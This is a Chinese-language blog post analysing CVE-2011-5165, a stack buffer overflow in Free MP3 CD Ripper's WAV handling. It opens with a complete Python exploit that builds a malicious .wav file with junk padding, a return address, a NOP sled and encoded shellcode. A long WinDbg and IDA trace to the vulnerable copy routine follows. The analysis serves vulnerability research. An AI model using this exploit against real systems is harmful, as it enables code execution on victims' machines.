[CVE-2011-5165]Free MP3 CD Ripper本地代码执行漏洞

作者:k0shl 转载请注明出处:http://whereisk0shl.top


漏洞说明


软件下载:
https://www.exploit-db.com/apps/64215b82be8bb2e749f95fec5b51d3e4-FMCRSetup-2.6.exe

PoC:

filename = "3v1lf1l3.wav"
print "cr34t1ng 3v1l f1l3"

junk ="\x41" * 4112
ret = "\xDC\x3A\xB4\x76"
nopsled = "\x90" * 15

shellcode = ("\x33\xc9\xb8\xa2\xe0\xe4\x44\xb1\x33\xda\xdf\xd9\x74\x24"
"\xf4\x5b\x31\x43\x0e\x03\x43\x0e\x83\x49\x1c\x06\xb1\x71"
"\x35\x4e\x3a\x89\xc6\x31\xb2\x6c\xf7\x63\xa0\xe5\xaa\xb3"
"\xa2\xab\x46\x3f\xe6\x5f\xdc\x4d\x2f\x50\x55\xfb\x09\x5f"
"\x66\xcd\x95\x33\xa4\x4f\x6a\x49\xf9\xaf\x53\x82\x0c\xb1"
"\x94\xfe\xff\xe3\x4d\x75\xad\x13\xf9\xcb\x6e\x15\x2d\x40"
"\xce\x6d\x48\x96\xbb\xc7\x53\xc6\x14\x53\x1b\xfe\x1f\x3b"
"\xbc\xff\xcc\x5f\x80\xb6\x79\xab\x72\x49\xa8\xe5\x7b\x78"
"\x94\xaa\x45\xb5\x19\xb2\x82\x71\xc2\xc1\xf8\x82\x7f\xd2"
"\x3a\xf9\x5b\x57\xdf\x59\x2f\xcf\x3b\x58\xfc\x96\xc8\x56"
"\x49\xdc\x97\x7a\x4c\x31\xac\x86\xc5\xb4\x63\x0f\x9d\x92"
"\xa7\x54\x45\xba\xfe\x30\x28\xc3\xe1\x9c\x95\x61\x69\x0e"
"\xc1\x10\x30\x44\x14\x90\x4e\x21\x16\xaa\x50\x01\x7f\x9b"
"\xdb\xce\xf8\x24\x0e\xab\xe7\xc6\x9b\xc1\x8f\x5e\x4e\x68"
"\xd2\x60\xa4\xae\xeb\xe2\x4d\x4e\x08\xfa\x27\x4b\x54\xbc"
"\xd4\x21\xc5\x29\xdb\x96\xe6\x7b\xb8\x79\x75\xe7\x11\x1c"
"\xfd\x82\x6d")


PirateAL = junk+ret+nopsled+shellcode
FILE = open(filename, "w")
FILE.write(PirateAL)
FILE.close()
print "t1m3 f0r pwn4g3"

测试环境:
windows xp sp3

运行PoC,生成一个畸形的wav文件,exp是我在EDB上找的,如果想触发比较整齐的畸形数据,可以把对应的junk,ret,sled以及shellcode内容替换成畸形数据,比如\x41,之后用Free MP3 CD Ripper打开畸形wav文件,引发崩溃。


漏洞复现


此漏洞是由于Free MP3 CD Ripper在处理wav文件时,调用sub_496F9C时对wav文件内容没有进行严格审查,从而导致在执行拷贝操作时造成缓冲区溢出,导致返回地址被覆盖。下面对此漏洞进行详细分析。

首先生成一个PoC,在程序中使用wav to mp3功能加载,程序崩溃,到达漏洞现场。

(318.778): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=000010cc edx=000010cc esi=41414141 edi=41414141
eip=41414141 esp=0216fee8 ebp=41414141 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
41414141 ??              ???

通过kb来回溯一下堆栈调用

0:005> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
0216fee4 41414141 41414141 41414141 41414141 0x41414141
*** WARNING: Unable to verify checksum for C:\Program Files\Free MP3 CD Ripper\fcrip.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Free MP3 CD Ripper\fcrip.exe
0216ffa0 004047fe 0216ffdc 00404374 0216ffb4 0x41414141
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
0216ffb4 7c80b713 00bc49d0 00000000 e7ffffff fcrip+0x47fe
0216ffec 00000000 004047d4 00bc49d0 00000000 kernel32!GetModuleFileNameA+0x1b4

可以看到漏洞崩溃前调用了004047fe地址处前一个位置的内容,我们通过IDA来看一下这一块的调用代码。

CODE:004047D4 ; DWORD __stdcall StartAddress(LPVOID)
CODE:004047D4 StartAddress    proc near               ; DATA XREF: sub_40480C+2Eo
CODE:004047D4
CODE:004047D4 arg_0           = dword ptr  8
CODE:004047D4
CODE:004047D4                 push    ebp
CODE:004047D5                 mov     ebp, esp
CODE:004047D7                 call    sub_4038B4
CODE:004047DC                 push    ebp
CODE:004047DD                 xor     ecx, ecx
CODE:004047DF                 push    offset loc_404374
CODE:004047E4                 mov     edx, fs:[ecx]
CODE:004047E7                 push    edx
CODE:004047E8                 mov     fs:[ecx], esp
CODE:004047EB                 mov     eax, [ebp+arg_0]
CODE:004047EE                 mov     ecx, [eax+4]
CODE:004047F1                 mov     edx, [eax]
CODE:004047F3                 push    ecx
CODE:004047F4                 push    edx
CODE:004047F5                 call    sub_402820
CODE:004047FA                 pop     edx
CODE:004047FB                 pop     eax
CODE:004047FC                 call    edx

可以看到这个代码处于StartAddress的位置,应该是程序某个功能开始的位置,我们就从此处入手分析漏洞形成的原因。


漏洞分析


首先我们在此处下断点,重新加载程序,程序中断。

0:001> bp 004047FC
*** WARNING: Unable to verify checksum for C:\Program Files\Free MP3 CD Ripper\fcrip.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Free MP3 CD Ripper\fcrip.exe
0:001> g
Breakpoint 0 hit
eax=00bd85d0 ebx=00bc69ac ecx=00000000 edx=00424820 esi=0066ffff edi=00000020
eip=004047fc esp=0181ffa8 ebp=0181ffb4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
fcrip+0x47fc:
004047fc ffd2            call    edx {fcrip+0x24820 (00424820)}

事实上,这一处并不是到达漏洞现场的调用,而是在第二次call调用的时候。

Breakpoint 0 hit
eax=00bfa078 ebx=00bc49d0 ecx=00000000 edx=00424820 esi=e7ffffff edi=00000000
eip=004047fc esp=0161ffa8 ebp=0161ffb4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
fcrip+0x47fc:
004047fc ffd2            call    edx {fcrip+0x24820 (00424820)}

第二次到达后,单步跟入函数,单步跟踪到00424854这个地址,步过后到达漏洞现场。

0:002> p
eax=00bfa078 ebx=00bc49d0 ecx=00000000 edx=00492130 esi=e7ffffff edi=00000000
eip=00424854 esp=0161ff78 ebp=0161ffa0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
fcrip+0x24854:
00424854 ff5204          call    dword ptr [edx+4]    ds:0023:00492134=00493090
0:002> p
(3fc.5c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=000010cc edx=000010cc esi=41414141 edi=41414141
eip=41414141 esp=0161fee8 ebp=41414141 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
41414141 ??              ???

其实edx+4存放的地址,是一处静态地址。

CODE:00492134                 dd offset sub_493090

实际上调用的函数是sub_493090这个函数,那么接下来我们就在这个函数入口下断点,继续跟入。

0:005> p
eax=00bf9fac ebx=00bc49d0 ecx=00000000 edx=00000000 esi=e7ffffff edi=00000000
eip=004930c2 esp=01c1ff50 ebp=01c1ff70 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
fcrip+0x930c2:
004930c2 8b10            mov     edx,dword ptr [eax]  ds:0023:00bf9fac=0049b0c0
0:005> p
eax=00bf9fac ebx=00bc49d0 ecx=00000000 edx=0049b0c0 esi=e7ffffff edi=00000000
eip=004930c4 esp=01c1ff50 ebp=01c1ff70 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
fcrip+0x930c4:
004930c4 ff523c          call    dword ptr [edx+3Ch]  ds:0023:0049b0fc=0049b404
0:005> p
(4a8.680): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=000010cc edx=000010cc esi=41414141 edi=41414141
eip=41414141 esp=01c1fee8 ebp=41414141 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
41414141 ??              ???

在sub_493090函数中的某处call调用步过后,再次到达漏洞现场。实际上原理和上面相同,都是静态函数的调用,由于我们最开始的调用点在最外层,因此连续调用原理类似,漏洞函数处于比较深的位置,接下来重复过程我不再过多描述。

再次进入内层函数。

0:005> p
eax=00bd1bc0 ebx=00bf9fac ecx=0216ff28 edx=004920b8 esi=e7ffffff edi=00000000
eip=0049b44e esp=0216ff38 ebp=0216ff70 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
fcrip+0x9b44e:
0049b44e 8b4344          mov     eax,dword ptr [ebx+44h] ds:0023:00bf9ff0=00bd4000
0:005> p
eax=00bd4000 ebx=00bf9fac ecx=0216ff28 edx=004920b8 esi=e7ffffff edi=00000000
eip=0049b451 esp=0216ff38 ebp=0216ff70 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
fcrip+0x9b451:
0049b451 e8227affff      call    fcrip+0x92e78 (00492e78)
0:005> p
(4ec.700): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=000010cc edx=000010cc esi=41414141 edi=41414141
eip=41414141 esp=0216fee8 ebp=41414141 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
41414141 ??              ???

根据call函数再次进入内层函数

0:005> p
eax=00bd4000 ebx=00bf9fac ecx=7ffd4000 edx=00bd816c esi=e7ffffff edi=00000000
eip=00492ea5 esp=0216ff14 ebp=0216ff30 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
fcrip+0x92ea5:
00492ea5 8b10            mov     edx,dword ptr [eax]  ds:0023:00bd4000=00494b10
0:005> p
eax=00bd4000 ebx=00bf9fac ecx=7ffd4000 edx=00494b10 esi=e7ffffff edi=00000000
eip=00492ea7 esp=0216ff14 ebp=0216ff30 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
fcrip+0x92ea7:
00492ea7 ff5244          call    dword ptr [edx+44h]  ds:0023:00494b54=0049358c
0:005> p
(5d0.734): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=000010cc edx=000010cc esi=41414141 edi=41414141
eip=41414141 esp=0216fee8 ebp=41414141 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
41414141 ??              ???

以此类推,到达sub_496F9C这个函数,首先看看call调用部分。

0:005> p
eax=00bc49d0 ebx=00bd4000 ecx=01c1feb4 edx=00bd4000 esi=e7ffffff edi=00000000
eip=00495600 esp=01c1fee8 ebp=01c1ff00 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
fcrip+0x95600:
00495600 8b45fc          mov     eax,dword ptr [ebp-4] ss:0023:01c1fefc=00bd4000
0:005> p
eax=00bd4000 ebx=00bd4000 ecx=01c1feb4 edx=00bd4000 esi=e7ffffff edi=00000000
eip=00495603 esp=01c1fee8 ebp=01c1ff00 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
fcrip+0x95603:
00495603 e894190000      call    fcrip+0x96f9c (00496f9c)
0:005> p
(af4.ba4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=000010cc edx=000010cc esi=41414141 edi=41414141
eip=41414141 esp=01c1fee8 ebp=41414141 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
41414141 ??              ???

可以看到,步过后,到达漏洞现场,我们进入这个函数看一下。

0:005> p
eax=00000000 ebx=00000005 ecx=00000005 edx=000010cc esi=00bd4000 edi=00000000
eip=00496ffd esp=01c1eec8 ebp=004920b8 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
fcrip+0x96ffd:
00496ffd baac744900      mov     edx,offset fcrip+0x974ac (004974ac)
0:005> p
eax=00000000 ebx=00000005 ecx=00000005 edx=004974ac esi=00bd4000 edi=00000000
eip=00497002 esp=01c1eec8 ebp=004920b8 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
fcrip+0x97002:
00497002 8d441c08        lea     eax,[esp+ebx+8]
0:005> dd edx
004974ac  46464952 00000000 45564157 00000000
004974bc  20746d66 00000000 74636166 00000000
004974cc  61746164 00000000 55575653 f004c481
004974dc  8350ffff f08bf8c4 00a086c6 33000000
004974ec  0004bbff 548d0000 04b90824 8b000000
004974fc  288b6846 810c55ff 002000fb d18d0f00
0049750c  8b000003 04f883c7 0396870f 24ff0000
0049751c  49752185 49753500 49757c00 4975c300
0:005> dc edx
004974ac  46464952 00000000 45564157 00000000  RIFF....WAVE....
004974bc  20746d66 00000000 74636166 00000000  fmt ....fact....
004974cc  61746164 00000000 55575653 f004c481  data....SVWU....
004974dc  8350ffff f08bf8c4 00a086c6 33000000  ..P............3
004974ec  0004bbff 548d0000 04b90824 8b000000  .......T$.......
004974fc  288b6846 810c55ff 002000fb d18d0f00  Fh.(.U.... .....
0049750c  8b000003 04f883c7 0396870f 24ff0000  ...............$
0049751c  49752185 49753500 49757c00 4975c300  .!uI.5uI.|uI..uI

可以看到,edx存放了各种文件类型,后面的函数会根据文件类型来进行不同语句的操作。我们通过IDA伪代码,可以看到case 1情形下调用了一个函数,这里的WAVE就是.wav文件的文件类型。

      case 1:
        if ( (unsigned __int8)sub_4954F4((int)((char *)&v27 + v3), (int)"WAVE", v2) )
        {
          result = (*(int (__fastcall **)(signed int, char *))(**(_DWORD **)(v5 + 88) + 12))(4, (char *)v28 + v3);
          v3 += 4;
          v4 = 2;
        }
        else
        {
          result = (*(int (__fastcall **)(signed int, char *))(**(_DWORD **)(v5 + 88) + 12))(1, (char *)v28 + v3++);
        }
        goto LABEL_43;

接下来我们在函数入口处下一个断点,连续跟踪发现了一个特点。

0:005> g
Breakpoint 1 hit
eax=01c1eed8 ebx=00000008 ecx=00000008 edx=004974ac esi=00bd4000 edi=00000000
eip=004954f4 esp=01c1eec4 ebp=004920b8 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
fcrip+0x954f4:
004954f4 56              push    esi
0:005> g
Breakpoint 1 hit
eax=01c1eed9 ebx=00000009 ecx=00000009 edx=004974ac esi=00bd4000 edi=00000000
eip=004954f4 esp=01c1eec4 ebp=004920b8 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
fcrip+0x954f4:
004954f4 56              push    esi
0:005> g
Breakpoint 1 hit
eax=01c1eeda ebx=0000000a ecx=0000000a edx=004974ac esi=00bd4000 edi=00000000
eip=004954f4 esp=01c1eec4 ebp=004920b8 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
fcrip+0x954f4:
004954f4 56              push    esi
0:005> g
Breakpoint 1 hit
eax=01c1eedb ebx=0000000b ecx=0000000b edx=004974ac esi=00bd4000 edi=00000000
eip=004954f4 esp=01c1eec4 ebp=004920b8 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000297
fcrip+0x954f4:
004954f4 56              push    esi

可以看到,ebx的值在不断递增,同时eax的值在不断递增,而eax寄存器的值像是一个地址,我们可以认为ebx是记录长度,eax是记录内容,那么我们来看看eax的内容。

0:005> dd eax
01c1eedb  41414141 00000000 00000000 00000000
01c1eeeb  00000000 00000000 00000000 00000000
01c1eefb  00000000 00000000 00000000 00000000
01c1ef0b  00000000 00000000 00000000 00000000
01c1ef1b  00000000 00000000 00000000 00000000
01c1ef2b  00000000 00000000 00000000 00000000
01c1ef3b  00000000 00000000 00000000 00000000
01c1ef4b  00000000 00000000 00000000 00000000
0:005> dd 01c1eeda
01c1eeda  41414141 00000041 00000000 00000000
01c1eeea  00000000 00000000 00000000 00000000
01c1eefa  00000000 00000000 00000000 00000000
01c1ef0a  00000000 00000000 00000000 00000000
01c1ef1a  00000000 00000000 00000000 00000000
01c1ef2a  00000000 00000000 00000000 00000000
01c1ef3a  00000000 00000000 00000000 00000000
01c1ef4a  00000000 00000000 00000000 00000000

可以看到,我们构造的畸形文件内容在不断拷贝到缓冲区中,那么在此行为之前没有进行任何的长度判断,那么我们直接跳过这个过程,找到sub_496f9c中找到函数结尾部分。

CODE:0049749E                 add     esp, 100Ch
CODE:004974A4                 pop     ebp
CODE:004974A5                 pop     edi
CODE:004974A6                 pop     esi
CODE:004974A7                 pop     ebx
CODE:004974A8                 retn
CODE:004974A8 sub_496F9C      endp

我们可以在004974a8下一个断点,直接到ret位置。

0:005> bp 004974A8
0:005> bl
 0 e 00496f9c     0001 (0001)  0:**** fcrip+0x96f9c
 1 e 004954f4     0001 (0001)  0:**** fcrip+0x954f4
 2 e 004974a8     0001 (0001)  0:**** fcrip+0x974a8
0:005> bc 1
0:005> g
Breakpoint 2 hit
eax=00000000 ebx=41414141 ecx=000010cc edx=000010cc esi=41414141 edi=41414141
eip=004974a8 esp=01c1fee4 ebp=41414141 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
fcrip+0x974a8:
004974a8 c3              ret

可以看到,拷贝行为之后,ebp已经被淹没,也就是说返回地址也会被淹没,造成缓冲区溢出漏洞。

Comments
Write a Comment